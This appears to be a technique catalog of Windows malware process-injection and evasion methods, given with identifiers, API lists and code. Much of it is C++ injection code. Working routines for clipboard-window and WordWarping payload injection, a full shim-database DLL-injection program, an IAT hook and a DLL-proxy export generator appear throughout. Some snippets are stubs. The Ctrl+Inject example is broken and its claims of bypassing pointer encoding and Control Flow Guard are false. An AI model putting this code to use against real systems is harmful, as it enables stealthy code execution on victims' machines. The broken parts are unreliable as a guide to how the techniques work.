Malware development encompasses a wide array of techniques aimed at creating malicious software designed to infiltrate, disrupt, or exploit computer systems. These techniques often involve sophisticated methods to evade detection and execute malicious payloads. Among the various strategies employed by malware developers are process manipulation techniques such as process camouflage, masquerading, asynchronous procedure call (APC) injection, and NLS code injection through registry modification. Process camouflage and masquerading involve disguising malicious processes as legitimate ones to evade detection by security defenses, while APC injection leverages asynchronous procedure calls to force another thread to execute custom code within a target process. Similarly, NLS code injection through registry modification enables malware to inject a malicious DLL into a process by modifying the NLS code page ID in the Windows registry, potentially bypassing security measures. These techniques underscore the continuous evolution and sophistication of malware development, posing significant challenges for cybersecurity professionals in detecting and mitigating malicious threats.
Thread execution hijacking
Thread execution hijacking is a sophisticated technique utilized by malware to elude detection by security software. By targeting an existing thread within a process, malware can execute its code discreetly, bypassing the creation of new processes or threads that might attract attention. This method, while complex, offers a stealthy means for malware to operate undetected.
During analysis, analysts often encounter specific Windows API calls that are indicative of thread execution hijacking. These include functions like CreateToolhelp32Snapshot
, Thread32First
, and OpenThread
. These functions are leveraged by the malware to identify and select the target thread within the system.
Here's a breakdown of the key components involved:
Technique Identifiers:
U1223
E1055.003
Technique Tags:
thread execution hijacking
malware evasion
existing thread process
avoiding noisy process/thread creations
analysis
CreateToolhelp32Snapshot
Thread32First
Featured Windows API's:
The following Windows API functions are commonly utilized by malware authors for implementing thread execution hijacking:
OpenThread
CreateToolhelp32Snapshot
Thread32First
Thread32Next
CloseHandle
Code Snippets (C++):
Below is a sample C++ code snippet demonstrating how malware might employ thread execution hijacking:
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
// Create a snapshot of all running threads
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
// Enumerate all running threads
if (Thread32First(hSnapshot, &te32))
{
do
{
// Check if the thread belongs to the target process
if (te32.th32OwnerProcessID == targetProcessId)
{
// Open the thread
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, 0, te32.th32ThreadID);
if (hThread != NULL)
{
// Inject your code here
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
}
}
In this code snippet:
A snapshot of all running threads is created using
CreateToolhelp32Snapshot
.Each thread is enumerated using
Thread32First
andThread32Next
.Threads belonging to the target process are identified, and their handles are opened using
OpenThread
.Malicious code can then be injected into the target thread's context.
Finally, thread handles are closed using
CloseHandle
.
Breaking BaDDEr
Dynamic Data Exchange (DDE) is a legacy protocol used for inter-process communication, particularly prevalent in older versions of Microsoft Office. Despite being disabled by default in modern Office versions due to security concerns, it remains a potential vector for exploitation. Breaking BaDDEr is a malware technique leveraging DDE injection within the explorer.exe
process, which manages the Windows GUI. This method allows malicious actors to inject and execute arbitrary code discreetly.
Technique Identifier:
- U1201
Technique Tags:
Data sharing protocol
Data sharing library
DDE protocol
Code execution
Featured Windows API's:
Below are the Windows API functions frequently utilized for DDE injection by malware authors:
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
ReadProcessMemory
CloseHandle
GetWindowThreadProcessId
GetWindow
VirtualFree
GetLastError
GetCommandLineW
LineTo
Code Snippets (C++):
The following C++ code demonstrates the implementation of DDE injection:
#include "../ntlib/util.h"
typedef struct tagLINK_COUNT *PLINK_COUNT;
typedef ATOM LATOM;
typedef struct tagSERVER_LOOKUP {
LATOM laService;
LATOM laTopic;
HWND hwndServer;
} SERVER_LOOKUP, *PSERVER_LOOKUP;
typedef struct tagCL_INSTANCE_INFO {
struct tagCL_INSTANCE_INFO *next;
HANDLE hInstServer;
HANDLE hInstClient;
DWORD MonitorFlags;
HWND hwndMother;
HWND hwndEvent;
HWND hwndTimeout;
DWORD afCmd;
PFNCALLBACK pfnCallback;
DWORD LastError;
DWORD tid;
LATOM *plaNameService;
WORD cNameServiceAlloc;
PSERVER_LOOKUP aServerLookup;
short cServerLookupAlloc;
WORD ConvStartupState;
WORD flags; // IIF_ flags
short cInDDEMLCallback;
PLINK_COUNT pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;
#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO
VOID dde_inject(LPVOID payload, DWORD payloadSize) {
// Function to inject payload into explorer.exe via DDE injection
// Implementation omitted for brevity
}
VOID dde_list(VOID) {
// Function to list DDE connections
// Implementation omitted for brevity
}
int main(void) {
LPVOID pic;
DWORD len;
int argc;
wchar_t **argv;
argv = CommandLineToArgvW(GetCommandLineW(), &argc);
if(argc != 2) {
dde_list();
printf("\n\nusage: dde_inject <payload>.\n");
return 0;
}
len=readpic(argv[1], &pic);
if (len==0) { printf("\ninvalid payload\n"); return 0;}
dde_inject(pic, len);
return 0;
}
In this code:
dde_inject
function injects a payload intoexplorer.exe
process using DDE injection.dde_list
function lists DDE connections.The
main
function parses command-line arguments, reads the payload, and invokesdde_inject
.
DNS API Injection
DNS API Injection is a sophisticated technique employed by malware to modify and intercept DNS (Domain Name System) requests made by a host system. By injecting malicious code into the DNS API (Application Programming Interface) of the host system, malware can manipulate DNS requests and responses. This technique allows malware to potentially redirect traffic to malicious domains or conceal its own DNS requests, thereby evading detection.
Technique Identifier:
- U1202
Technique Tags:
Overwriting DNS memory functions
Logging DNS queries
Intercepting DNS requests
Hiding DNS requests
dnsapi.dll
DnsApiHeapReset
Featured Windows API's:
Below are the Windows API functions commonly utilized for DNS API injection:
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
ReadProcessMemory
GetTickCount
CreateThread
CloseHandle
ShellExecuteW
GetWindowThreadProcessId
GetWindow
SysFreeString
TerminateThread
VirtualFree
GetCommandLineW
CoCreateInstance
CoInitialize
LineTo
Code Snippets (C++):
The following C++ code demonstrates the implementation of DNS API injection:
#include "../ntlib/util.h"
HRESULT GetDesktopShellView(REFIID riid, void **ppv) {
// Function to get the desktop shell view
// Implementation omitted for brevity
}
HRESULT GetShellDispatch(
IShellView *psv, REFIID riid, void **ppv)
{
// Function to get the shell dispatch
// Implementation omitted for brevity
}
HRESULT ShellExecInExplorer(PCWSTR pszFile) {
// Function to execute a file in explorer
// Implementation omitted for brevity
}
LPVOID GetDnsApiAddr(DWORD pid) {
// Function to get the address of dnsapi.dll in memory
// Implementation omitted for brevity
}
// Function to suppress network errors
VOID SuppressErrors(LPVOID lpParameter) {
// Implementation omitted for brevity
}
VOID dns_inject(LPVOID payload, DWORD payloadSize) {
// Function to inject payload into DNS API
// Implementation omitted for brevity
}
int main(void) {
// Main function to parse arguments and initiate DNS injection
// Implementation omitted for brevity
}
This code illustrates the process of DNS API injection:
Obtaining the address of dnsapi.dll in memory.
Creating a thread to suppress network errors.
Injecting payload into the DNS API to manipulate DNS requests.
Restoring the original DNS function and cleaning up resources.
CLIPBRDWNDCLASS
CLIPBRDWNDCLASS is a window class managed by the Object Linking & Embedding (OLE) library (ole32.dll) in Windows. It handles clipboard data operations. This technique leverages a specific interface, ClipboardDataObjectInterface, associated with CLIPBRDWNDCLASS for code injection. By manipulating the clipboard data and triggering certain messages, malware can invoke methods of an IUnknown interface associated with the ClipboardDataObjectInterface, potentially leading to code execution.
Technique Identifier:
- U1203
Technique Tags:
Object Linking & Embedding (OLE) library
Private clipboard
CLIPBRDWNDCLASS window class
Clipboard data
ClipboardDataObjectInterface
Featured Windows API's:
The following Windows API functions are commonly utilized for implementing this technique:
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
CloseHandle
GetWindowThreadProcessId
GetWindow
VirtualFree
Code Snippets (C++):
The following C++ code demonstrates the implementation of clipboard-based code injection:
cpp
typedef struct _IUnknown_t {
// Pointer to virtual function table
ULONG_PTR lpVtbl;
// Virtual function table
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release; // Executed for WM_DESTROYCLIPBOARD
} IUnknown_t;
// The following code assumes a valid clipboard window already exists. There is no error checking.
VOID clipboard(LPVOID payload, DWORD payloadSize) {
HANDLE hp;
HWND hw;
DWORD id;
IUnknown_t iu;
LPVOID cs, ds;
SIZE_T wr;
// 1. Find a private clipboard window.
// Obtain the process id and open it
hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
GetWindowThreadProcessId(hw, &id);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 2. Allocate RWX memory in process and write payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 3. Allocate RW memory in process.
// Initialize and write IUnknown interface
ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR);
iu.Release = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
// 4. Set the interface property and trigger execution
SetProp(hw, L"ClipboardDataObjectInterface", ds);
PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
// 5. Release memory for code and data
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
In this code:
A private clipboard window of the CLIPBRDWNDCLASS class is located.
Memory is allocated within the process associated with the clipboard window.
An IUnknown interface structure is initialized and written to the allocated memory.
The interface property of the clipboard window is set to the address of the IUnknown interface.
A message is sent to the clipboard window to trigger code execution.
Memory allocated for code and data is released after execution.
WordWarping
WordWarping is a technique that exploits edit controls, particularly Rich Edit controls, commonly used in Windows applications for entering and editing text. By modifying the EditWordBreakProc callback function, which handles word wrapping in multiline edit controls, malware can inject and execute arbitrary code within the context of an application that uses such controls.
Technique Identifier:
- U1204
Technique Tags:
Rich Edit controls
Windows controls
Multiline mode
EditWordBreakProc callback function
Word wrapping
Featured Windows API's:
The following Windows API functions are utilized for implementing WordWarping:
VirtualAllocEx
WriteProcessMemory
VirtualAlloc
OpenProcess
CloseHandle
SetForegroundWindow
GetWindowThreadProcessId
GetWindow
VirtualFree
Code Snippets (C++):
The following C++ code demonstrates the implementation of WordWarping:
cpp
VOID wordwarping(LPVOID payload, DWORD payloadSize) {
HANDLE hp;
DWORD id;
HWND wpw, rew;
LPVOID cs, wwf;
SIZE_T rd, wr;
INPUT ip;
// 1. Get main window for wordpad.
// This will accept simulated keyboard input.
wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 3. Try get current address of Wordwrap function
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.
GetWindowThreadProcessId(rew, &id);
// 5. Try open the process.
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Allocate RWX memory for the payload.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7. Write the payload to memory
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8. Update the callback procedure
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
// 9. Simulate keyboard input to trigger payload
ip.type = INPUT_KEYBOARD;
ip.ki.wVk = 'A';
ip.ki.wScan = 0;
ip.ki.dwFlags = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
SetForegroundWindow(rew);
SendInput(1, &ip, sizeof(ip));
// 10. Restore original Wordwrap function (if any)
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
// 11. Free memory and close process handle
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
In this code:
The main window for WordPad is located.
The Rich Edit control within WordPad is identified.
The current address of the Wordwrap function is retrieved.
The process associated with WordPad is opened.
Memory is allocated within the process to store the payload.
The payload is written into the allocated memory.
The EditWordBreakProc callback function of the Rich Edit control is updated to point to the payload.
Simulated keyboard input is sent to trigger the payload execution.
The original Wordwrap function address is restored after execution.
Memory allocated for the payload is freed, and the process handle is closed.
Ctrl+Inject
The Ctrl+Inject technique involves injecting malicious code into a process by exploiting the callback function used for control signal handlers. When a control signal, such as Ctrl+C, is received by a process, the system creates a new thread to execute a function to handle the signal. This thread is typically created by the legitimate process "csrss.exe", making it more challenging to detect the injected code.
Technique Identifier:
- U1213
Technique Tags:
Callback function
Control signal
Process manipulation
System thread
Csrss.exe
Injection code
Pointer encoding
Control Flow Guard
Memory corruption
Buffer overflow
Featured Windows API's:
GetCurrentProcess
SetProcessValidCallTargets
SetConsoleCtrlHandler
GenerateConsoleCtrlEvent
EncodePointer
DecodePointer
Code Snippets (C++):
The following C++ code demonstrates the implementation of the Ctrl+Inject technique:
#include <Windows.h>
#include <cstdio>
// Callback function for control signal handlers
BOOL WINAPI ControlSignalHandler(DWORD dwCtrlType)
{
// Inject malicious code here
return TRUE;
}
int main()
{
// Bypass pointer encoding
void* encodedPointer = EncodePointer((PVOID)ControlSignalHandler);
void* decodedPointer = DecodePointer(encodedPointer);
// Bypass Control Flow Guard
SetProcessValidCallTargets(GetCurrentProcess(), (UINT_PTR)decodedPointer, sizeof(void*));
// Set callback function for control signal handlers
SetConsoleCtrlHandler((PHANDLER_ROUTINE)decodedPointer, TRUE);
// Trigger control signal (Ctrl+C)
GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
return 0;
}
Explanation:
The code defines a callback function called
ControlSignalHandler
that will be used to inject malicious code.Pointer encoding and Control Flow Guard bypass mechanisms are applied to ensure that the function can be called without triggering security mechanisms.
The
SetConsoleCtrlHandler
function is used to set the callback function for control signal handlers.The
GenerateConsoleCtrlEvent
function is called to trigger a control signal, such as Ctrl+C, which will execute the injected code.
Injection Using Shims
Injection using Shims is a technique that exploits Microsoft Shims, which are provided mainly for backward compatibility. Shims allow developers to apply fixes to their programs without rewriting the code. By leveraging shims, developers can instruct the operating system on how to handle their application, essentially hooking into APIs and targeting specific executables. Malware can exploit shims for both persistence and injection purposes. When Windows loads a binary, it runs the Shim Engine to check for shimming databases and applies the appropriate fixes.
Technique Identifiers:
- U1218, E1055.m03
Technique Tags:
- Shims
Featured Windows API's:
GetProcAddress
LoadLibraryA
GetLastError
Code Snippets (C++):
The following C++ code demonstrates the implementation of Injection using Shims:
/*
Source: https://gist.github.com/w4kfu/95a87764db7029e03f09d78f7273c4f4
------------------------------------------------------------------------
dllinjshim.cpp
Compile: cl /Fe:dllinjshim.exe dllinjshim.cpp
Execute: dllinjshim.exe
Install shim: sdbinst moo.sdb
! On Windows 10, there is a new function 'SdbIsKnownShimDll' called
in 'SdbGetDllPath' which will check the DLL name against the following list:
- "AcGenral.dll"
- "AcLayers.dll"
- "AcRes.dll"
- "AcSpecfc.dll"
- "AcWinRT.dll"
- "acwow64.dll"
- "AcXtrnal.dll"
- "KeyboardFilterShim.dll"
- "MasterShim.dll"
- "depdetct"
- "uacdetct"
- "luadgmgt.dll"
- "luapriv.dll"
- "EMET.dll"
- "EMET64.dll"
- "LogExts.dll"
- "LogShim.dll"
------------------------------------------------------------------------
*/
#include <windows.h>
#include <stdio.h>
#define INJECTED_DLL_NAME L"moo.dll"
#define EXECUTABLE_NAME L"calc.exe"
#define OS_PLATFORM 4 // 0x1 : 32-bit ; 0x04 : 64-bit
#define TAGID_NULL 0
#define TAG_TYPE_LIST 0x7000
#define TAG_DATABASE (0x1 | TAG_TYPE_LIST)
#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST)
#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST)
#define TAG_SHIM (0x4 | TAG_TYPE_LIST)
#define TAG_EXE (0x7 | TAG_TYPE_LIST)
#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST)
#define TAG_SHIM_REF (0x9 | TAG_TYPE_LIST)
#define TAG_TYPE_DWORD 0x4000
#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD)
#define TAG_TYPE_STRINGREF 0x6000
#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF)
#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF)
#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF)
#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF)
#define TAG_TYPE_BINARY 0x9000
#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY)
#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY)
#define TAG_TYPE_NULL 0x1000
#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL)
typedef enum _PATH_TYPE {
DOS_PATH,
NT_PATH
} PATH_TYPE;
typedef HANDLE PDB;
typedef DWORD TAG;
typedef DWORD INDEXID;
typedef DWORD TAGID;
typedef struct tagATTRINFO {
TAG tAttrID;
DWORD dwFlags;
union {
ULONGLONG ullAttr;
DWORD dwAttr;
TCHAR *lpAttr;
};
} ATTRINFO, *PATTRINFO;
typedef PDB(WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);
typedef VOID(WINAPI *SdbCloseDatabaseWritePtr)(PDB);
typedef TAGID(WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);
typedef BOOL(WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);
typedef BOOL(WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);
typedef BOOL(WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);
typedef BOOL(WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);
typedef BOOL(WINAPI *SdbWriteNULLTagPtr)(PDB, TAG);
typedef struct _APPHELP_API {
SdbCreateDatabasePtr SdbCreateDatabase;
SdbCloseDatabaseWritePtr SdbCloseDatabaseWrite;
SdbBeginWriteListTagPtr SdbBeginWriteListTag;
SdbEndWriteListTagPtr SdbEndWriteListTag;
SdbWriteStringTagPtr SdbWriteStringTag;
SdbWriteDWORDTagPtr SdbWriteDWORDTag;
SdbWriteBinaryTagPtr SdbWriteBinaryTag;
SdbWriteNULLTagPtr SdbWriteNULLTag;
} APPHELP_API, *PAPPHELP_API;
BOOL static LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {
if (!(pAppHelp->SdbBeginWriteListTag = (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbBeginWriteListTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbCloseDatabaseWrite = (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbCloseDatabaseWrite\")\n");
return FALSE;
}
if (!(pAppHelp->SdbCreateDatabase = (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbCreateDatabase\")\n");
return FALSE;
}
if (!(pAppHelp->SdbEndWriteListTag = (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbEndWriteListTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteBinaryTag = (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteBinaryTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteDWORDTag = (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteDWORDTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteStringTag = (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteStringTag\")\n");
return FALSE;
}
if (!(pAppHelp->SdbWriteNULLTag = (SdbWriteNULLTagPtr)GetProcAddress(hAppHelp, "SdbWriteNULLTag"))) {
fprintf(stderr, "[-] GetProcAddress(..., \"SdbWriteNULLTag\")\n");
return FALSE;
}
return TRUE;
}
BOOL static DoStuff(PAPPHELP_API pAppHelp) {
PDB db = NULL;
TAGID tIdDatabase;
TAGID tIdLibrary;
TAGID tIdShim;
TAGID tIdInexclude;
TAGID tIdExe;
TAGID tIdMatchingFile;
TAGID tIdShimRef;
db = pAppHelp->SdbCreateDatabase(L"moo.sdb", DOS_PATH);
if (db == NULL) {
fprintf(stderr, "[-] SdbCreateDatabase failed : %lu\n", GetLastError());
return FALSE;
}
tIdDatabase = pAppHelp->SdbBeginWriteListTag(db, TAG_DATABASE);
pAppHelp->SdbWriteDWORDTag(db, TAG_OS_PLATFORM, OS_PLATFORM);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Database");
pAppHelp->SdbWriteBinaryTag(db, TAG_DATABASE_ID, "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42", 0x10);
tIdLibrary = pAppHelp->SdbBeginWriteListTag(db, TAG_LIBRARY);
tIdShim = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
pAppHelp->SdbWriteStringTag(db, TAG_DLLFILE, INJECTED_DLL_NAME);
tIdInexclude = pAppHelp->SdbBeginWriteListTag(db, TAG_INEXCLUDE);
pAppHelp->SdbWriteNULLTag(db, TAG_INCLUDE);
pAppHelp->SdbWriteStringTag(db, TAG_MODULE, L"*");
pAppHelp->SdbEndWriteListTag(db, tIdInexclude);
pAppHelp->SdbEndWriteListTag(db, tIdShim);
pAppHelp->SdbEndWriteListTag(db, tIdLibrary);
tIdExe = pAppHelp->SdbBeginWriteListTag(db, TAG_EXE);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, EXECUTABLE_NAME);
pAppHelp->SdbWriteStringTag(db, TAG_APP_NAME, L"moo_Apps");
pAppHelp->SdbWriteBinaryTag(db, TAG_EXE_ID, "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", 0x10);
tIdMatchingFile = pAppHelp->SdbBeginWriteListTag(db, TAG_MATCHING_FILE);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"*");
pAppHelp->SdbEndWriteListTag(db, tIdMatchingFile);
tIdShimRef = pAppHelp->SdbBeginWriteListTag(db, TAG_SHIM_REF);
pAppHelp->SdbWriteStringTag(db, TAG_NAME, L"moo_Shim");
pAppHelp->SdbEndWriteListTag(db, tIdShimRef);
pAppHelp->SdbEndWriteListTag(db, tIdExe);
pAppHelp->SdbEndWriteListTag(db, tIdDatabase);
pAppHelp->SdbCloseDatabaseWrite(db);
return TRUE;
}
int main(int argc, char *argv[]) {
APPHELP_API api = {0};
HMODULE hAppHelp = NULL;
hAppHelp = LoadLibraryA("apphelp.dll");
if (hAppHelp == NULL) {
fprintf(stderr, "[-] LoadLibrary failed %lu\n", GetLastError());
return 1;
}
if (LoadAppHelpFunctions(hAppHelp, &api) == FALSE) {
printf("[-] Failed to load apphelp api %lu!\n", GetLastError());
return 1;
}
DoStuff(&api);
return 0;
}
Explanation:
dllinjshim.cpp:
This code defines functions to interact with the Shim Engine and create a shimming database.
It utilizes various Windows API functions to manipulate shimming data.
The
DoStuff
function creates a shimming database with specified attributes, including the target executable name and the injected DLL name.The main function loads the AppHelp API, creates the shimming database, and closes it.
moo.cpp (DLL to be injected):
This code defines a DLL that will be injected into the target process using shims.
It exports functions
GetHookAPIs
andNotifyShims
, which are invoked by the Shim Engine.The
DllMain
function is called when the DLL is loaded and unloaded.
IAT Hooking
IAT Hooking is a technique used to execute malicious code by tampering with the Import Address Table (IAT) of a specific executable. This involves replacing a legitimate function imported from a DLL with a malicious one, thereby redirecting the flow of execution to the attacker's code.
Map
Process Manipulating
IAT Hooking
Technique Identifiers
U1217
F0015.003
Technique Tag
- iat
Featured Windows API's Below are some commonly used Windows API's employed by malware authors for evasive techniques:
LoadLibraryA
MessageBoxW
Code Snippet (C++)
#include <iostream>
#include <Windows.h>
#include <winternl.h>
// Define MessageBoxA prototype
using PrototypeMessageBox = int (WINAPI *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
// Remember memory address of the original MessageBoxA routine
PrototypeMessageBox originalMsgBox = MessageBoxA;
// Hooked function with malicious code that eventually calls the original MessageBoxA
int hookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
MessageBoxW(NULL, L"Ola Hooked from a Rogue Senor .o.", L"Ola Senor o/", 0);
// Execute the original MessageBoxA
return originalMsgBox(hWnd, lpText, lpCaption, uType);
}
int main()
{
// Message box before IAT unhooking
MessageBoxA(NULL, "Hello Before Hooking", "Hello Before Hooking", 0);
LPVOID imageBase = GetModuleHandleA(NULL);
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeaders->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)imageBase);
LPCSTR libraryName = NULL;
HMODULE library = NULL;
PIMAGE_IMPORT_BY_NAME functionName = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)imageBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA originalFirstThunk = NULL, firstThunk = NULL;
originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->OriginalFirstThunk);
firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)imageBase + importDescriptor->FirstThunk);
while (originalFirstThunk->u1.AddressOfData != NULL)
{
functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)imageBase + originalFirstThunk->u1.AddressOfData);
// Find MessageBoxA address
if (std::string(functionName->Name).compare("MessageBoxA") == 0)
{
SIZE_T bytesWritten = 0;
DWORD oldProtect = 0;
VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect);
// Swap MessageBoxA address with address of hookedMessageBox
firstThunk->u1.Function = (DWORD_PTR)hookedMessageBox;
}
++originalFirstThunk;
++firstThunk;
}
}
importDescriptor++;
}
// Message box after IAT hooking
MessageBoxA(NULL, "Hello after Hooking", "Hello after Hooking", 0);
return 0;
}
IAT hooking is utilized to redirect program execution by tampering with the Import Address Table (IAT) of an executable. In this code snippet, the original MessageBoxA
function is replaced with a hooked function hookedMessageBox
which executes malicious code before calling the original MessageBoxA
function. This effectively intercepts and alters the behavior of the MessageBoxA
function.
DLL Proxying
DLL Proxying
Map
Process Manipulating
DLL Proxying
Description DLL proxying is a technique employed by malware to evade detection and establish persistence on a system. It involves substituting a legitimate Dynamic Link Library (DLL) with a malicious one that shares similar exported functions and a comparable name to the original DLL.
When a program attempts to load the legitimate DLL, it inadvertently loads the malicious DLL instead. This malicious DLL serves as a proxy for the genuine one, intercepting function calls and redirecting them to the legitimate DLL. Consequently, the malware executes its own code while masquerading as the legitimate DLL, enabling it to perform malicious activities without arousing suspicion from the executing program.
By employing DLL proxying, malware can operate stealthily and evade detection by security software. Since the malicious DLL closely resembles the legitimate one, security tools find it challenging to distinguish between the two, allowing the malware to persistently execute undetected.
Technique Identifier: U1240
Technique Tags:
DLL proxying
Code obfuscation
Persistence
DLL redirection
Stealth operation
Code Snippet (Python)
import pefile
exported_functions = []
pe = pefile.PE('C:\\windows\\system32\\DNSAPI.dll')
for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
func = entry.name.decode('utf-8')
exported_functions.append(f'#pragma comment(linker,"/export:{func}=proxy.{func},@{entry.ordinal}")')
exported_functions = '\n'.join(exported_functions)
print(exported_functions)
The provided Python script extracts all exported functions from a targeted DLL, in this case, DNSAPI.dll
used by nslookup.exe
. It generates pragma directives that redirect the exported functions to a proxy module. This technique allows the malware to redirect calls to the legitimate DLL functions to its own malicious functions, thus enabling stealthy execution of malicious code.
Dirty Vanity
Dirty Vanity
Map
Process Manipulating
Dirty Vanity
Description Dirty Vanity is a process injection technique that leverages Windows forking, which includes process reflection and snapshotting, to inject code into a new process. By utilizing primitives like RtlCreateProcessReflection
or NtCreateProcess[Ex]
, along with specific flags such as PROCESS_VM_OPERATION
, PROCESS_CREATE_THREAD
, and PROCESS_DUP_HANDLE
, this technique reflects and executes code in a new process.
The process injection process involves several steps. First, it utilizes methods like NtCreateSection
and NtMapViewOfSection
, VirtualAllocEx
, and WriteProcessMemory
to write the injected code into the new process. Then, it employs NtSetContextThread
, also known as Ghost Writing, to finalize the injection process.
This technique is specifically designed to evade detection by endpoint security solutions. Since the injected code appears to be written to the new process rather than being injected from an external source, it can bypass traditional security measures.
Technique Identifier: U1242
Technique Tags:
Process injection
Windows forking
Process reflection
Snapshotting
RtlCreateProcessReflection
NtCreateProcess
NtCreateProcessEx
Fork Execute
PROCESS_VM_OPERATION
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
NtCreateSection
NtMapViewOfSection
VirtualAllocEx
WriteProcessMemory
